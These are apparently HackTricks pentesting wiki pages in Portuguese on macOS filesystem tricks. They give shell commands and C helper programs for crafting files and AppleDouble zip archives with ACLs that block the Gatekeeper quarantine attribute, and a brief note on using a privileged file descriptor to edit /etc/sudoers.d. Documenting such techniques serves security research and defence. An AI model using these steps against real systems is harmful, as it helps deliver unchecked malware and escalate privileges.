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SUMMARY.md
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* [macOS TCC Bypasses](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md)
* [macOS Apple Scripts](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md)
* [macOS Dangerous Entitlements & TCC perms](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md)
* [macOS FS Tricks](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks.md)
* [macOS FS Tricks](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md)
* [macOS xattr-acls extra stuff](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md)
* [macOS Users](macos-hardening/macos-security-and-privilege-escalation/macos-users.md)
* [macOS Red Teaming](macos-hardening/macos-red-teaming/README.md)
* [macOS MDM](macos-hardening/macos-red-teaming/macos-mdm/README.md)

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# Truques do macOS FS
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## FD Arbitrário
Se você pode fazer um **processo abrir um arquivo ou uma pasta com privilégios elevados**, você pode abusar do **`crontab`** para abrir um arquivo em `/etc/sudoers.d` com **`EDITOR=exploit.py`**, assim o `exploit.py` obterá o FD para o arquivo dentro de `/etc/sudoers` e o abusará.
Por exemplo: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098)
## Truques para evitar atributos de quarentena
### Flag uchg
Se um arquivo/pasta tiver esse atributo imutável, não será possível colocar um xattr nele.
```bash
echo asd > /tmp/asd
chflags uchg /tmp/asd
xattr -w com.apple.quarantine "" /tmp/asd
xattr: [Errno 1] Operation not permitted: '/tmp/asd'
ls -lO /tmp/asd
# check the "uchg" in the output
```
### Montagem do defvfs
Uma montagem do **devfs** **não suporta xattr**, mais informações em [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)
```bash
mkdir /tmp/mnt
mount_devfs -o noowners none "/tmp/mnt"
chmod 777 /tmp/mnt
mkdir /tmp/mnt/lol
xattr -w com.apple.quarantine "" /tmp/mnt/lol
xattr: [Errno 1] Operation not permitted: '/tmp/mnt/lol'
```
### ACL writeextattr
Esta ACL impede a adição de `xattrs` ao arquivo.
```bash
rm -rf /tmp/test*
echo test >/tmp/test
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test
ls -le /tmp/test
ditto -c -k test test.zip
# Download the zip from the browser and decompress it, the file should be without a quarantine xattr
cd /tmp
echo y | rm test
# Decompress it with ditto
ditto -x -k --rsrc test.zip .
ls -le /tmp/test
# Decompress it with open (if sandboxed decompressed files go to the Downloads folder)
open test.zip
sleep 1
ls -le /tmp/test
```
### **com.apple.acl.text xattr + AppleDouble**
O formato de arquivo **AppleDouble** copia um arquivo incluindo suas ACEs.
No [**código-fonte**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html), é possível ver que a representação de texto do ACL armazenada dentro do xattr chamado **`com.apple.acl.text`** será definida como ACL no arquivo descompactado. Portanto, se você comprimir um aplicativo em um arquivo zip com o formato de arquivo **AppleDouble** com um ACL que impede que outros xattrs sejam gravados nele... o xattr de quarentena não será definido no aplicativo:
Verifique o [**relatório original**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) para obter mais informações.
Para replicar isso, primeiro precisamos obter a string de acl correta:
```bash
# Everything will be happening here
mkdir /tmp/temp_xattrs
cd /tmp/temp_xattrs
# Create a folder and a file with the acls and xattr
mkdir del
mkdir del/test_fold
echo test > del/test_fold/test_file
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" del/test_fold
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" del/test_fold/test_file
ditto -c -k del test.zip
# uncomporess to get it back
ditto -x -k --rsrc test.zip .
ls -le test
```
(Note que mesmo que isso funcione, a sandbox escreve o atributo de quarentena antes)
Não é realmente necessário, mas eu deixo aqui caso seja necessário:
{% content-ref url="macos-xattr-acls-extra-stuff.md" %}
[macos-xattr-acls-extra-stuff.md](macos-xattr-acls-extra-stuff.md)
{% endcontent-ref %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

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# Recursos adicionais de xattr-acls do macOS
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
```bash
rm -rf /tmp/test*
echo test >/tmp/test
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test
./get_acls test
ACL for test:
!#acl 1
group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr,writesecurity,chown
ACL in hex: \x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a
```
<details>
<summary>Código de get_acls</summary>
```c
// gcc -o get_acls get_acls
#include <stdio.h>
#include <stdlib.h>
#include <sys/acl.h>
int main(int argc, char *argv[]) {
if (argc != 2) {
fprintf(stderr, "Usage: %s <filepath>\n", argv[0]);
return 1;
}
const char *filepath = argv[1];
acl_t acl = acl_get_file(filepath, ACL_TYPE_EXTENDED);
if (acl == NULL) {
perror("acl_get_file");
return 1;
}
char *acl_text = acl_to_text(acl, NULL);
if (acl_text == NULL) {
perror("acl_to_text");
acl_free(acl);
return 1;
}
printf("ACL for %s:\n%s\n", filepath, acl_text);
// Convert acl_text to hexadecimal and print it
printf("ACL in hex: ");
for (char *c = acl_text; *c != '\0'; c++) {
printf("\\x%02x", (unsigned char)*c);
}
printf("\n");
acl_free(acl);
acl_free(acl_text);
return 0;
}
```
</details>
```bash
# Lets add the xattr com.apple.xxx.xxxx with the acls
mkdir start
mkdir start/protected
./set_xattr start/protected
echo something > start/protected/something
```
<details>
<summary>Código de set_xattr</summary>
```c
// gcc -o set_xattr set_xattr.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/xattr.h>
#include <sys/acl.h>
void print_xattrs(const char *filepath) {
ssize_t buflen = listxattr(filepath, NULL, 0, XATTR_NOFOLLOW);
if (buflen < 0) {
perror("listxattr");
return;
}
char *buf = malloc(buflen);
if (buf == NULL) {
perror("malloc");
return;
}
buflen = listxattr(filepath, buf, buflen, XATTR_NOFOLLOW);
if (buflen < 0) {
perror("listxattr");
free(buf);
return;
}
printf("All current extended attributes for %s:\n", filepath);
for (char *name = buf; name < buf + buflen; name += strlen(name) + 1) {
printf("%s: ", name);
ssize_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR_NOFOLLOW);
if (valuelen < 0) {
perror("getxattr");
continue;
}
char *value = malloc(valuelen + 1);
if (value == NULL) {
perror("malloc");
continue;
}
valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR_NOFOLLOW);
if (valuelen < 0) {
perror("getxattr");
free(value);
continue;
}
value[valuelen] = '\0'; // Null-terminate the value
printf("%s\n", value);
free(value);
}
free(buf);
}
int main(int argc, char *argv[]) {
if (argc != 2) {
fprintf(stderr, "Usage: %s <filepath>\n", argv[0]);
return 1;
}
const char *hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a";
const char *filepath = argv[1];
int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0);
if (result == 0) {
printf("Extended attribute set successfully.\n\n");
} else {
perror("setxattr");
return 1;
}
print_xattrs(filepath);
return 0;
}
```
</details>
{% code overflow="wrap" %}
```bash
# Create appledoublefile with the xattr entitlement
ditto -c -k start protected.zip
rm -rf start
# extract the files
unzip protected.zip
# Replace the name of the xattr here (if you put it before ditto would have destroyed it)
python3 -c "with open('._protected', 'rb+') as f: content = f.read().replace(b'com.apple.xxx.xxxx', b'com.apple.acl.text'); f.seek(0); f.write(content); f.truncate()"
# zip everything back together
rm -rf protected.zip
zip -r protected.zip protected ._protected
rm -rf protected
rm ._*
```
{% endcode %}
```bash
# Check if it worked
ditto -x -k --rsrc protected.zip .
xattr -l protected
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>